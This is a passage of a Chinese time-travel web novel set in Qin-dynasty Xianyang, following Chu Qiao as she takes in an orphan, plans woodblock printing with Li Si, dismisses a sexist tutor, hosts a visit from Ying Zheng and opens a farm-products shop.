“啊？我吗？”被楚荍推出来名叫赵新的孤儿迷茫的啊了一声，回头看了楚荍一眼，然后很快就反应过来。
“是这样的甘先生，姐姐说给我提供工作，但是要先上学堂识字才行。”
闻言，甘罗撇了一眼心虚的楚荍，知道她这完全是照顾小孩自尊心的说法。这么小的孩子能做什么。
赵新今年八岁，六岁丧母，不知其父。一直自己一个人住在村西那间破茅草屋里。之前楚荍见他可怜，就给他送去了不少东西。现在好了，直接人都给领回来了。
楚荍见甘罗要说话，立马打断他的施法，“好了好了，你快去忙吧，我自己一个人带赵新去安顿就行，不用你帮忙噢。”
她好不容易才把小孩给哄过来，别甘罗又两句话给她吓跑了。
“是啊，甘先生你去帮吧，姐姐带我就行。我们可以的。”赵新拍了拍自己的胸口，十分认真地向甘罗保证他们能行。
唉，真是败给她们了。甘罗叹了口气，松了口：“行吧，那你们去吧。”
得到甘罗的许可，楚荍这才高高兴兴地带着人走了。都走远了才想起来喊一句：“对了，下午李廷尉要来，你记得准备一下。”
听到这句话之后，甘罗还没来得及问什么，楚荍就已经在一个拐角消失不见。
嗯，头又更疼了。
要不去找大夫看看吧，甘罗心如死灰地想。
另一边，楚荍把赵新带到府员宿舍，为他介绍道：“以后你就住这里，待会儿吃完饭之后我带你去领套被褥。要是还缺什么，你就告诉我。我给你添。”
这间平房是标准的宿舍，床、柜和一套桌椅。铺上被褥之后就可以直接入住。
“不缺了，真的很谢谢你，荍姐姐。”
赵新摇摇头，有些抽噎地说，眼里蓄满了泪水。
“这有什么好谢的，你为我工作，我给你提供这些是应该的呀。”
楚荍微笑着给赵新擦眼泪，又轻轻抱住他安慰。
他是个好孩子。
去年他和甘罗来这边选址的时候，就是赵新带着他们跑了一圈。
今天，她刚从宫中回来，在村口就碰到了赵新，还是在等她。
原来是为了感谢上次她给他送去的衣裳。
她跟着赵新回去之后，发现锅里温着的是一盘炒竹笋，一碗野菜汤和两碗饭。
笋和野菜都是用猪油炒的，那罐猪油还是她过年的时候带过来的。
问了之后她才知道，这种野菜只在初春才有，味道清甜，脆嫰爽口。
赵新起了两个大早，才采到这么一盘。
这已经是他能用来招待客人最好
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的东西。
也是因为这她才决定把赵新带回格物府。其实她去年春天就题过此事，但是被赵新拒绝了。他怕给她添麻烦。
所以这次她换了一个说法。
刚好这两天扶苏来了，她一直想给扶苏找个同龄的伴读来着。
果然，她说是工作，赵新才答应她。
等赵新把包袱里的东西简单收拾了一下之后，楚荍就带着他来了食堂吃饭。
刚好碰上扶苏。她端着餐盘带着赵新坐到了扶苏和王离旁边。
楚荍先给扶苏介绍了赵新。她朝扶苏眨眨眼，扶苏立马就接收到了她发出的信号。
“原来是这样，姑姑说的没错，我确实缺一个伴读。”
“不过，做我的伴读，要能识字才行。所以在学堂里要加油读书哦。”
扶苏朝赵新微微一笑，抬手给他夹了一片肉。
“嗯，我会、会的。”赵新低着头盯着自己碗里那片肉有些结巴地说，一张脸完全红透了。
这世上竟然还有这么好看的人！他竟然是要给这么好看的人当伴读吗？
赵新脑中一直盘旋着这句话，还没有从扶苏的美貌冲击中反应过来。
见赵新一直低着头不说话，扶苏悄悄给扶苏竖了个大拇指。
不愧是他家公子，就是懂她。
下午，李斯便来了。他是来和楚荍、程邈商量新字的事。
在门口接他的是甘罗。这还是他第一次来格物府。
56.第五十六章 赶人
马车停在格物府正门口，李斯从马车上下来。
他抬头，嬴政亲手题的匾额高高挂在上面。门口站着两名卫兵。
格物府每人都有自己的身份牌，进出都需要出示身份牌核对。若是忘带，也必须登记。保密这一块，楚荍还是比较重视的。
也不是为了防谁，主要这个年代各国间谍都有点太多了。
“李大人，有失远迎。”甘罗走上前抬手行礼，笑眯眯地说。
见状，李斯也笑着回礼。
“不敢不敢，大人抬举我了。这边请，这边请。”
甘罗连忙摆手，侧身避开了李斯的回礼。
格物府虽由大王直接管辖，但仍隶属少府之下。从官职上来讲，府长之位远不及九卿之一的廷尉。更别说他还是个副的。
而且甘罗年轻，自然也不能受李斯这一礼。
李斯落后甘罗一步，走在他身后观察着格物府内部的状况。
严格来说，这是他第二次来到格物府。
第一次是嬴政带着他来参加格物府落成的揭匾仪式。
但那时格物府刚刚落成，还什么都没有。他只吃到了“火锅”。
那种新颖的吃法让他印象颇深，后来他还自己找工匠偷偷打了只铜锅。冬日里一家人围在一起吃顿热腾腾的火锅，确实别有一番氛围。
更别说后来楚荍在年节的时候还给他送来了一锅辣红油火锅底料，差点把他们一家人吃倒。
更可恨的是，这个“辣椒”和“纸”一样，楚荍又让他等着春天开售。
不过，这府内怎么如此安静？李斯想象中以为会是那种热火朝天的场景。
甘罗看出李斯的疑惑，笑着解释道：“这里是农工坊，农工坊的府员这会儿应该都在地里。”
“原来如此。”李斯点点头，又问：“对了，楚荍呢？”
这丫头把这事推给自己，怎么她又不出现了。
“她有点事，马上就过来了。”
甘罗笑容一滞，答道，随即隐秘地朝他旁边的人使了个颜色。
那人立马意会，悄悄落后几步之后离开去寻楚荍。
中午吃完饭后他碰到楚荍，她信誓旦旦跟他保证一定能到，结果到现在都没有身影。
果然，楚荍的鬼话信不了一点。
片刻后，甘罗带着李斯到了会客的花厅。
花厅是整个格物府唯一装扮的比较华丽的地方，摆放的盆栽是精心打理过的，博古架上的摆件皆是珍贵之物。
二人到时，程邈已经在里面等了。
甘罗将李斯迎上主位，李斯刚坐下，楚荍就从外面风风火火地跑了进来。
“李廷尉，我来迟了，有失远迎。”楚荍走上前说。
“这事可是楚大人主动找的我，看来楚大人还是少点诚意啊。”李斯笑着揶揄道。
楚荍听出李斯话里有话，知道他还记着年节辣椒那事，立马表态：“廷尉放心，辣椒出苗了第一批肯定送到你家。”
李斯笑笑没接话，不过表情已经暴露了他的想法。
楚荍看着，心想自己果然没猜错，他果然记着这事呢。
闲话说完，众人便谈起了正事。
楚荍拿出几张大纸放到桌子上，上面是昨晚甘罗昨晚誊的几十个程邈研究的隶字。
程邈昨晚才从云阳狱中舟车劳顿到咸阳，多年的牢狱之灾导致他的身体也很差，自然没有精力再去誊写。
所以楚荍才拜托的甘罗。
隶字相比篆书，线条由弧笔变为直笔，曲折处由连绵圆笔转变为转折的方笔。已经是一种非常大的转变，隶书是楷体发展的重要一环，楚荍不准备加速这个历史进程。
当然，主要原因还是因为她只会简化后的楷体，繁体字她是认识，但是你现在让她没有比照的写，她肯定是写不出来的。
能完成这种任务的，可能得需要汉语专业的穿越者吧，哈哈。
几人都拿了其中一张纸在看后，楚荍又拿出了两个木雕的方形印章。
上面两个同样的字，田字。
“这是？”程邈问。他自然认得这是印章，但是不知楚荍拿出印章是何意。
楚荍闻言微微一笑，把印章放到众人面前，解释道：“大家可看出这两个字的区别？”
这两字，一个字隶字，一个是楷体。
楷体相比隶字更加横平竖直，秦隶田字的“竖”还有些弯曲。
“纸张面世之后，这些写在竹简上的字就要移到纸上，而要将字移到纸上的方法，全靠人力抄写是不行的。不过有一种方法很简单，印刷。”
“印刷？”几人异口同声地问。
“嗯，就是在一块木板上先雕刻出要印的内容，然后刷上墨，再拓印到纸上。也称雕版印刷。”
“所以我的意思是，部分新字可能还要再调整一下。要更适合雕刻拓印才行。”
这里坐着的没有一个笨的，楚荍详细解释之后，几人很快就懂了她的意思。
众人围坐在一起商讨了部分字的调整，又敲定一些细节。最后程邈和李斯两人分工，每人分了一部分字回去琢磨了。
李斯走时，烟红晚霞烧满了半边天。他抬头看着，好像第一次真切感受到楚荍描述的那个金色未来，并不是无法奔赴。
这边，楚荍叫住了准备离开的甘罗。两人一起漫步在小道，随意闲聊。
“公子中午和我说了上明的事，你知道吗？”
唉甘罗长叹口气，说起这个他就头疼。“今天早上学堂夫子来跟我告状，我还什么都没说呢，她现先自己吓得躲了起来。后来又大哭了一场，下午我没去看她，还不知道怎么样了。”
今早上明躲在房里装作不在，看来当时公子也在里面。
“上明不是这样的性格，”楚荍皱着眉摇头，“既然他不愿告诉你，那我让公子去问问吧。”
“也好。他们小孩子之间能说的更多些。麻烦你了。”
甘罗朝楚荍感恩地笑笑。
楚荍摇摇头，也笑了起来：“我们之间还说这些，再说，上明要算我看着长大的吧。”
虽然认识上明才认识不到一年，但是以后肯定是看着她长大了，所以她这话也不算错。
扶苏进官署的第
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三日，他依旧早早就到了，乖巧的在自己的位置上坐下。然后去架子上拿之前的日报。
卢回来的时候发现扶苏已经到了，一时间都有些惭愧。自己还没有一个小孩子来得早。
虽然这个小孩子是他们大秦最尊贵的长公子。
李廷尉还让自己带一下公子，他这不是完全没起到榜样作用吗。
看来明天要来的更早一点才行。
等等，怎么感觉有那里不对劲。卢回想着想着突然发觉不对，他平常已经是来得最早的那个了。
他这不是被迫要来的更早吗？
如果卢回知道内卷这个词，他一定会大呼自己被卷到了。
而且嬴政和扶苏简直是秦国两个最大的卷王。谁赞同！谁反对！
与此同时，楚荍才刚刚起床。早上处理常规工作之后，大概九点多的时候，她就起身去了启蒙学堂。
昨晚扶苏去问上明白日和夫子顶嘴的理由，结果得到了一个完全没预料到的答案。
启蒙学堂是今年年初才办起来的，只面向内部府员，上学只需交一部分很少学杂费即可，相比现在读书高额的费用，几乎可以说是免费的。
不过格物府大部分是年轻人，有孩子的比较少，在年初又招了不少人的情况也只开了一个十四个小孩的小班。男女比例大概是□□。
这是因为楚荍要求若是一家有儿有女，且都在十岁以下，必须都送过来。不然只送儿子的话，那儿子也不要读了。
因为是小儿启蒙，所以一个夫子就够用了。这个夫子是甘罗招的。
扶苏昨晚去问的时候，上明也知道自己白天的态度不好，而且在这里，她那些烦恼也没有可以倾诉的人。所以扶苏来问的时候，上明也就没有隐瞒一股脑全说了出来。她真的都快被气死了。
原来那夫子上课时不仅对女孩子十分严厉，甚至在她们答不出问题时还会出言羞辱她们。而且对男孩子则完全是另外一个态度。
昨日上明就是没答出来一个问题，那夫子竟然当着所有人的面直接让她滚。上明这才和她吵了起来。这还不算，这夫子竟然跑到甘罗那里恶人先告状。
搞清楚缘由之后，她准备今天就把这事解决。如果是这真的，这样的人她绝不会再留。
等她溜达到学堂的时候，那人正在上课。
楚荍站在后门听了一会儿，越听脸越黑。
什么女子要在家相夫教子，能嫁给好人家就行，要听从父亲和丈夫的话……
“闭嘴！”楚荍怒气冲冲地冲进去，猛地一拍门板，“给我滚！你这样的败类根本不配为人师长。”
到了中午，扶苏收拾好东西后就照旧回了格物府。
卢回看着扶苏的背影有些纳闷，这都第三天了，公子看了三天的简报。而且那认真的样子也不像在磨洋工啊。
扶苏回到格物府之后，就立马知道了楚荍把学堂的夫子给赶走这事。所有人都在议论，楚荍还是第一次发这么大的火。
在他们印象里，从去年冬到今天，楚荍都没跟他们大声说过话。
一般来说，甘罗是唱红脸的那个。
57.第五十七章 骑马
咚咚，楚荍的书房门被敲响。
甘罗推门进来，面带愧色。“抱歉，都是我识人不明。”
那人当初是自荐而来，与他交谈后见他学识还不错，做启蒙老师完全够了，便让他做了这个夫子。没想到他竟是这样的人。
“这如何能怪你，”楚荍双手扶额，头疼地摇摇头，“这么长时间，我不也没看出这道貌岸然伪君子的真面目。”
“就算要道歉，你该道歉的也不是我，上明还不知受了多少委屈。你要多关心关心她才是。”
毕竟不是人人都是扶苏，要把上明当做正常六岁孩童来看待才是。
“我知道。”甘罗面带苦色，“以后我会多抽些时间陪她的。
两人正说着，门外敲门声又响起。
是扶苏，后面还跟了个小尾巴在探头。
“姑姑，听说你今天很帅？”扶苏歪头笑笑，眼里满是对楚荍的崇拜。
他听说楚荍赶那人走时，足足指着那人的鼻子骂了有一刻钟。
“那是，我现在都后悔，当时真该给他来两拳的！”
楚荍握紧拳头挥了挥，比了个自己觉得很帅的动作。她撇了一眼扶苏身后的上明，又接着说。“上明，我还没谢谢你呢多亏了你，我才发现这人败坏的品行。”
闻言，上明才从扶苏身后站出来，小心翼翼地问道：“真的吗？”
“当然是真的。喏，这是我的感谢礼物。”楚荍起身从抽屉里拿出一盒米糕，塞到上明怀里。“好了好了，中午了，一起去吃饭吧。”
她一手搂着一个，带着两人出门。
上明抱着怀里的这盒米糕，有些愣住了，她怎么会知道自己喜欢吃这个？她没告诉任何人，连先生都不知道。
“姑姑，你下午真的要去上课？”扶苏好奇地问。
现在一时半会儿找不到人，楚荍准备自己先上几天课顶顶。
“真的啊，教不了你，还不教不了这些小朋友吗？”楚荍笑着抬手用筷子尾敲了一下扶苏的头。
说起来，这还是她本职工作呢。
饭后，扶苏要回房休息午休过后他还要接着上课。他对自己不能听楚荍的第一堂课深表遗憾，简直要捶胸顿足了。甚至拜托上明听的仔细些，晚上好复述给他听。
甘罗也有事要处理，先行离开了。楚荍自然没错过上明吃饭时无数道看向她探究的眼神，特意留了下来。
上明见人都走了，咬了咬嘴唇，这才问道：“你怎么知道我爱吃米糕？连先生都不知道。”
闻言，楚荍眨了眨眼，俏皮地说了一声秘密。
秘密吗，上明愣愣地想。
看出上明眼里敌意和不解的一点点消散，变成探究和带着一丢丢崇拜的眼神，楚荍知道，这将是她态度转变的开始。
哼哼，她上午有理有据骂人的样子果然很帅。
这不，又征服一个。
原本扶苏想着下午的课快些上，能去听个自家姑姑讲课的尾巴也好。结果，今日所学难且艰，等他学完，楚荍那边早就结束了。
原本他和上明约好了，结果等了一会儿她还没来。所以扶苏就准备让人先去把他的小马驹牵出来，他先去跑两圈马活动下坐了一天的身子。
结果扶苏刚骑上马，上明就到了。
“这是小马吗？”她满眼放光地跑过来问，离得有几步远，一副想摸又不敢摸的样子。上明知道自己迟到了，解释道：“我刚刚和你姑姑说话，耽误了一会儿。”
扶苏的小马驹是品相极好的白色宝马，比上明还高半个头。
他从马上跃下，将缰绳交给了一旁的赵新。
如今夏时每天被楚荍交给他的事务缠身，已经很难时时刻刻都待在扶苏身边。不过赵新来了之后，扶苏身边就又多了一个尾巴。现在赵新基本接手了夏时之前服侍扶苏那些活儿。
扶苏倒是不在乎这些，他也不是什么饭来张口，衣来伸手的娇气贵公子。
不过楚荍和他说过，赵新的自尊心强，既然他愿意做，那就让他去做。所以扶苏也就随他去了。而且他做事十分细致，很多事情上手之后就能做得很好。
“上明妹妹，我姑姑今天讲课怎么样？”扶苏好奇又兴奋地问。
“嗯，比之前那个夫子好，我都能听懂。”上明认真回想了一下，评价道，“而且她说了很多很好的话。”
“很好的话？是指？”
“呃，我没太听懂，但能感觉到是很好的话。”上明有些苦恼地说。
闻言，扶苏没忍住一笑，看她的表情知道她是真的没看懂，所以也就没再追问，随口换了个话题。
“你要摸摸吗？它叫小雪，很乖的。”
“小雪，和它很相配。”
上明伸出手，小心地摸了一下。小雪的皮毛洁白光亮，在阳光下闪闪发亮。就像是晴日映照下发光的细雪。
“想学骑马吗？我可以教你。”扶苏笑着问。
“可以吗？”
上明看向扶苏，眼神里有些期待。之前她一直想学骑马。但是她四岁的时候自己偷偷跑去看马，结果差点被马踢了一蹶子。还好甘罗及时赶到，才没酿下惨剧。
这一蹶子没给上明留下阴影，倒是给甘罗留下了不小的阴影。从那之后她就被严禁靠近马匹。
“当然可以，旁边还有王兄看着呢，不会有事的。”扶苏看向一边的王离说道。
见两个小孩兴奋的样子，王离也不忍心阻拦。不过有他在，也不会出什么事。
上明在两人的搀扶之下上了马，扶苏又和她讲解了一些骑马的要点，等上明在马上坐好之后，就先牵着马带着她在院子里走了起来。
“可以跑起来吗？”
“当然可以。”扶苏笑笑，又喊了一声王离，随后便翻身上马，把上明圈在了怀里。
坐稳之后，扶苏轻声在上明耳边说了一句别害怕，便扬起缰绳冲刺了出去。王离摇摇头无奈地笑笑，公子什么时候玩心这么重了，就也紧跟其后。
上明被扶苏突如其来地冲刺吓得瞪大了眼睛，但很快这种惊吓就被刺激感代替。
跑起来的冷风打在脸上，嘚嘚的马蹄声一声一声敲在她心上，她心如擂鼓。
扶苏带着上明在村子里跑了一圈，引了不少人侧目。
前两天没见过公子带其他人啊？还是个女孩子！村民们的八卦之魂熊熊燃起。
半晌，上明回神。扶苏见她半天不说话，还以为她生气了，正准备哄哄呢，结果上明
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突然回头。
“啊！”
两声惨叫声响起，两人的额头就这么撞在了一起。
“没事吧？”扶苏捂着额头，第一时间查看上明的状况。
“没事。”上明摇摇头，虽然她疼得泪花都出来了。
只见她侧过身，一双浅瞳很亮，十分郑重地朝扶苏说：“教我骑马吧。”
而来寻两人的甘罗和楚荍，都石化在原地。
甘罗：刚刚发生了什么？怎么感觉我家白菜好像被人拱了？
楚荍：这进度是不是有点太快了，这出宫才第三日，他家公子都会拱白菜了？
扶苏先注意到他们，开心地和他们打招呼。楚荍一看瞧，就知道扶苏没那意思。
扶苏最多就是把上明当妹妹。也是，两个小孩还小呢，以后最多算个青梅竹马。
楚荍拍了拍甘罗的肩膀，意味深长地看了他一眼，说了句放心。
不过甘罗完全没领会到楚荍的意思，甚至被这一眼看得心里毛毛的。
这让他怎么放心啊啊？啊，头又开始疼了。
果然，他还是该去找个大夫看看吧。
很快，天就黑了下来，早早挂在天边的明月开始显示着自己的明亮。
咯咯咯——
第一声鸡鸣将卢回叫醒。
身旁的人被卢回起床洗漱的动作吵醒，看了一眼外面伸手不见五指黑黢黢的天，迷糊迷糊地问：“夫君这么早就要去官署吗？”
“今天要早点去，你睡吧。”
卢回安抚好妻子后，便出了门。
他家离官署比较远，每日早晨要步行前去。无论是牛车还是马车，都不是他能坐得起的。
天光微亮，卢回今日终于是第一个来的。心里还莫名有些骄傲是怎么回事，他微微一笑。
只见他在自己的位置上坐下，搓了搓手，准备开始处理今天的工作。
不过这时外面传来车马声，是扶苏到了。
“公子，早。”卢回挥手和扶苏打招呼。
“卢哥哥，早。”扶苏也笑着回应。
很快，其他人也都陆续来了。
扶苏今日终于不是在自己的位置上看简报了，只见他拿出一叠纸，从中拿出一张，开始写写画画。原本他桌上堆成小山的简报也在一点点减少。
众人看着洁白轻薄的纸张，皆是眼热不已，也不知他们什么时候才能用上“纸”。
随着扶苏把最后几个竹简放回书架，他也终于完成了他这几天在干的事情。
卢回看着扶苏纸上那些他看不懂的图画，连忙追问，扶苏这几天在干事情他可好奇死了。就他目测，扶苏至少看了半年的简报。
“公子，这是图画是什么意思？”卢回指着扶苏纸上的折线图问。
“这是我根据简报上的数据画的图，这些数字指的是每七天处理案件的数量。这样一看，无论是工作数量，还是工作效率，都十分明晰。”
听完扶苏的讲解之后，卢回也很快理解了这几个图表的意思，甚至他自己的思路也随之一清。他从扶苏接过这份《简报数据分析》，越看眼睛瞪得越大。
原来传闻他们公子是仙童转世的事是真的，怎么没人提前告诉他啊啊啊啊啊！
58.第五十八章 随意看看
咸阳城外朝细雨，青青柳色飞白鹭。
春日多雨，嬴政出宫不多时就飘起了细雨。
他掀开车窗的纱帘，景色不停变换，春回的大地上万物复苏，人们在这片土地上辛勤地劳作。
到了格物府后，嬴政制止住要通报的门房，身后只跟了两名侍卫，独自一人随意地在府里逛了起来。
农工坊里依旧是静悄悄的，几乎没有人声。转到百工坊时，倒是热火朝天十分热闹，各种叮叮当当的声音从房间院子里面传出来。每个人都在专注地做自己的事，只有两三人个注意到嬴政，又反应半天才认出自家大王。正要惊慌失措行礼之时又被嬴政噤声的手势给制止。
嬴政打着伞站在远处默默看着，心中愈发满意，他果然没看错人。
去年楚荍用马蹄跌和马镫向他讨要官职时，他就在赌，赌楚荍能带来的远不止这两样东西。
现在看来，他赌对了。
过了百工坊之后再放前走就是文工坊，嬴政还没走两步就人从门后拐角走出来给撞了个满怀。
楚荍被撞着往后退了一步，倒是不疼。她只是低着头没看见人，所以才撞到了。
“大王！”楚荍惊呼出声，一抬头差点手里的东西都吓掉了。
嬴政被撞到后下意识扶住楚荍，看见她惊慌失措的表情，嘴角一勾，张口便是一句：“投怀送抱？”
“呵呵......大王真是会开玩笑。”楚荍干硬地笑了两声，往后后退一步，她现在对自家政哥这种逗人的话免疫了。她已经不是当初那个会在心里尖叫自己是妈妈粉的路人npc了。
她早就看透嬴政和扶苏腹黑的本质，纯粹是喜欢逗人玩。
“大王来了，怎么也不提前说一声？”
“今日无事，我来随意看看。”
楚荍：......
随意看看，是指随意地从宫里跑到城郊来看看吗。
楚荍有些无语，感觉政哥把她当傻子了。来看扶苏其实可以直说的。
“哦，这样啊！”楚荍装作一副恍然大悟的样子，表情十分夸张。随后语气一变，眯眼笑着打趣道，“那大王，公子现在在上课。不如我先带您在这府里逛逛？”
见楚荍这样子，嬴政有种自己被傻子哄的感觉。啧，没意思，他抬腿就走。
楚荍看这样子也立马跟了上去，她要是没看到就算了，现在碰到了她自然要陪着。顺便做一下近期的工作汇报。
“所以，格物府农副产品专卖店你准备这个月中就开业？你之前说的要搞格物府专卖店就指的是这个？”
“不是。”楚荍摇摇头，“这个农副产品专卖店只是格物府专卖店中的一个。”
“四月是辣椒的最佳种植期，辣椒已经出苗可以种了。包括像面粉、豆制品我也准备端上来一起卖，先把这个试营业，走薄利多销的路子，看看营收情况怎么样。”
闻言，嬴政点点头，对楚荍这个做法不可置否。其他东西端上来确实还需要一段时间。
“你书房在哪？”他问。
“这边，我带您去。”
楚荍立马走上前两步为嬴政带路，明白她政哥这是被她的话激起了兴趣，准备好好跟她谈下工作。
等谈完公子也差不多下课了，然后再一起用个晚膳，岂不美哉。
飘着细雨的天依旧是阴沉沉的。楚荍活动了一下僵硬的肩膀，一抬头，才发觉已经过去了一下午。
她和政哥这个下午等于两个人开了个小会。
“公子这会儿应该已经下课了，我们过去看看吧。”楚荍提议道。
“嗯，也好。”
说完，两人一起朝扶苏的房间走去。
扶苏现在上课是在自己的书房，和楚荍办公的位置不在一个地方。两人走到房门前，里面传出扶苏读书的声音。
楚荍立马跟嬴政解释：“平日公子这会儿已经下课了，今日估计是碰到了什么难题，所以还没下课。”
“大王要不先到我房间坐坐，休息一会儿，顺便等一下公子。”
她房间有一个露台，就在扶苏书房旁边，从扶苏书房窗子探出头来就能看到她
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这个露台的一部分。
楚荍的房间很简单朴素，几乎没有装饰的物品，只有书桌上放的一堆她政哥的手办。
嬴政看到这一排整整齐齐摆在桌上的木雕娃娃，简直要被气笑了，他真的很想知道楚荍每天都在想些什么。
总不能是歆慕他吧，可他的女人实在太多，不缺她这一个。
楚荍本来还在前面走着，见嬴政停下跟着他的目光看过去，一下子停滞了。甚至做不出什么反应。
救命啊，她把这自己桌上这东西给忘了。
完蛋，这下尬住了。不对，应该说她跳进黄河也洗不清了。
楚荍看着嬴政的眼神，有一丝丝绝望。
她真的是妈妈粉啊啊啊啊啊！那些手办是李小花雕刻的01、02、03......号作品，很有纪念意义的。
楚荍呆愣愣地把门拉开，露出里面摆着的两张摇椅，一张绝望死气的脸请嬴政进来坐坐休息。
因为露台和扶苏的书房挨着，所以在这就能听见扶苏读书的声音。
嬴政在摇椅上躺下之后，楚荍就借着准备点心倒水的借口逃了出去。
等她做好心理建设，再进去的时候，才发现嬴政竟然睡着了。
她走了很久吗？楚荍有些疑惑地想。
不过在看到嬴政眼底乌黑的黑眼圈之后，楚荍就明白了。
哪里是她走了太久，明明是她政哥太累了。肯定又熬夜工作了。
这父子俩，一个比一个拼。秦国不赢，那简直没天理了。
楚荍把手中的热水悄声放下，进屋找了个毯子给嬴政盖上。
雨还没停，细细的雨飘着。露台对着的是一片大湖，湖边栽着柳树，杨柳依依。
这也是为什么当初楚荍特意建了这个露台，景色很漂亮。
闲暇之余在这里躺躺，很放松。
扶苏上完课后一推门，就看到楚荍站在他放门口。
“姑姑，怎么在这等我？”他疑惑地问。
楚荍笑眯眯地说：“当然是有惊喜，跟我来。”
59.第五十九章 开业
楚荍比了一个噤声的手势，朝扶苏招招手，示意他跟自己来。
扶苏歪歪头，好奇地跟上去。刚刚上完课，他脑子还没转过来，完全不清楚自家姑姑神神秘秘的是要干什么。
他跟着楚荍进房间，也看到了桌上那一排木雕手办。不过扶苏完全没有任何惊讶，因为他已经看过很多次了。
小花姐姐对自己的作品细节要求很严格，所以在成品出来之前都会推翻好几次原本的设计，也就是楚荍桌上摆的01、02、03......号作品。楚荍也有很多他的木雕小像，不过应该是收起来了，他姑姑桌上这些木雕小像是轮流欣赏的。
扶苏跟着楚荍来到露台，没想到竟然看到自家父王熟睡地躺在那里。他一时愣在那里，不知做何反应。
原来真的是惊喜。
只见楚荍抬手指了指父王，又指了指自己，脸上是他曾见过的姨母笑，他立马了明白他姑姑的意思。
父王是专程来看自己的。
想明白这点，扶苏脸上的笑再也忍不住。看到嬴政身上的毯子滑到了腰部，他悄声走上前想拉一下。结果手刚搭上，嬴政就醒了。
“父王，您醒了。”扶苏笑着说。
嬴政一睁眼就看到扶苏这张笑得傻乎乎的脸，他撑起身子，一只手抚上额头，问：“我睡了多久？”
“不到半个时辰，大王平日工作太辛苦，也该多注意下身子才是。”楚荍适时递上一杯温水，劝道。
“父王又日夜不寐了吧。”
扶苏皱着眉，嘟起嘴气鼓鼓地说。明明他出宫前还嘱咐父王让他多注意休息的，父王根本没把他的话听进去嘛。
嬴政闻言屈指敲了一下扶苏的头，眼神里的意思是让他别教训他老子。他接过楚荍递过来的水，抿了一口，神智清醒了许多。
他心底有些不敢置信，没想到自己竟然毫无防备地在宫外睡着了。甚至中途楚荍给他盖被子都没有醒过来。
嬴政自然不会觉得自己有多信任楚荍，而把这一切都归结于自己最近确实没怎么好好休息。
他掀开毯子起身，牵起扶苏的手，这才说道：“好了，去吃饭吧。上了一下午课，你不饿吗？”
“肯定饿了，大王还没尝过我们食堂的饭吧，今日去试试如何？”楚荍接过话。
扶苏叹口气，也知道他劝不动自家父王，事已至此，先吃饭吧。
嬴政闻言轻哼一声，又瞥了一眼楚荍，“我如何没吃过，掌厨的郑威原来不是宫里的。”
楚荍被嬴政这一眼看得有些心虚，看来她悄悄挖走政哥最爱的大厨之一这事儿还是败露了啊。她嘿嘿一笑，说道：“大王此言差矣，郑大厨原来在宫里烹饪的是山珍海味，如今在我们，只能做些家常的大锅菜。味道肯定是不如宫里的。大王尝了之后别怪罪就好。”
“贫嘴滑舌。”嬴政被楚荍这么一长段话给逗笑了，他本来也没想追究此事，吓吓她而已。
此时正值饭点，府内的人比嬴政下午来看时多了不少。路上，就有不少人认出来向嬴政和扶苏行礼。一行人到了食堂之后，立刻就有不少人认出嬴政起身行礼。
最后的结果就是，原来是来吃饭的，然后变成了粉丝见面会。关键这位偶像还十分平易近人，每个来行礼的都要握手慰问鼓励几句。
眼看这饭就要吃不成了，楚荍上前制止住围上来的众人，好言把他们劝了回去。这才带着嬴政扶苏去了包间。
本来还准备在外面和府员一起吃的，就现在这情况，还是包间清净点。他们本来就来得晚，又耽误了一会儿，只剩些剩菜。所以郑威还是再炒了几个小炒端了上来。
让他家大王吃剩菜，还没人有这个胆子。
这个春天从六国来了五位能人异士，所有人在格物府里逛了一圈之后都立即决定留下来，准备这番自由的天地挥洒自己的才能。
他们来的时间不算久，差不多才一个月。这一个月，他们总听其他人吹“他们曾与秦王同席用饭”、“大王视他们格物府为秦国未来”“大王连最爱的厨子都拨给他们了”等等这种话。
他们本来是完全不信，觉得这些人不过是见他们是外国人所以在吹牛。
但在第一次尝到食堂的饭菜之后，就疑惑地信了几分。前些日子，扶苏住了过来之后，又信了几分。
直到今天亲眼所见，他们才彻底信了这些话。
刚刚那个和颜悦色、温厚待人的大王真的是传闻中暴虐残酷的秦王吗？
这完全是两个人吧，根本对不上号啊！
果然，传言不可信。
几人皆深以为然。
用完饭后，嬴政便回了宫。
连绵几日的细雨终于停了，天空开始放晴。
楚荍筹备许久的格物府农副产品专卖店也如期在月中开业，位置在咸阳城最热闹繁华的东市。
开业前楚荍找了好些人在全城做了好几日营销，这不今天一早，还没到剪彩的时间呢，门店前就已经被围得水泄不通了。
这次剪彩嬴政自然是不会来，一个个小小的专卖店还不到要最尊贵的秦王来剪彩的程度，
不过，让最尊贵的长公子来剪彩还是可以的。就扶苏那标志模样，往那一站就是金字招牌。
仪式还没开始，乐舞就已经在演奏热场。吹吹打打的十分热闹。
这次剪彩，扶苏站在最中间，楚荍和甘罗分别站在他的两边。
随着扶苏的剪子落下，格物府农副产品专卖店正式开业，全场享八折优惠！
咚咚咚——鼓声越来越急促，人们的心也被敲的越来越急切。彩缎一落下，众人便都涌了进去购物。
专卖店主要分成了三个部分，一部分是速食区，卖热乎的包子、面条、豆浆和豆腐等等食品。店外还有桌椅可以坐着吃。
“诶，小哥，这玩意儿是啥啊，怎么卖啊？”有大婶指着案板上白白胖胖的豆腐问。
专卖店的店员一共有5名，每个人都穿着统一的衣服，皆着窄袖长袍，是楚荍改过的。
“大婶，这叫豆腐，用豆子做出来的。不仅味道好，而且营养高，对身体很好的。咱们吃不起肉，给小孩多吃些豆腐，也能长身体，不比肉差！”
“真的假的，有你说的这么好吗？”
“真的，不信您尝尝，空口吃都好吃。”那店员边介绍边手脚麻利地切下一块豆腐，然后再切成小块分给围在一边的大爷大婶。
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“你买两块回去，不管是煎着吃、煮着吃、炸着吃，都好吃的很嘞。而且您不信可以问公问子，公子也爱吃。”
扶苏站在外围突然被点名，顿时一圈人都看了过来。
“真的吗公子？”刚刚那爽利的大婶问扶苏的声音都变小了，脸上表情十分慈爱。
见状，扶苏无奈地笑笑，答道：“是，婶婶，我很爱吃。”
“婶子，不骗您，公子爱吃的很。不管是煎豆腐、炸豆腐、红烧豆腐、凉拌豆腐、豆腐丸子还是豆腐汤，每天都是换着花样吃呢。”楚荍在一旁笑着接过话，报菜名一样一口气报了一堆菜。
“哎呦，既然公子和楚荍都这么说，那今天我这必须得买两块回去尝尝了。大家伙说是不是啊！”那婶子热闹地招呼大家。
围在一边的大爷大婶也都笑呵呵地应声。就冲着公子，也得买两块尝尝。
楚荍看众人纷纷掏钱，心里乐坏了，她就说扶苏是活招牌吧。
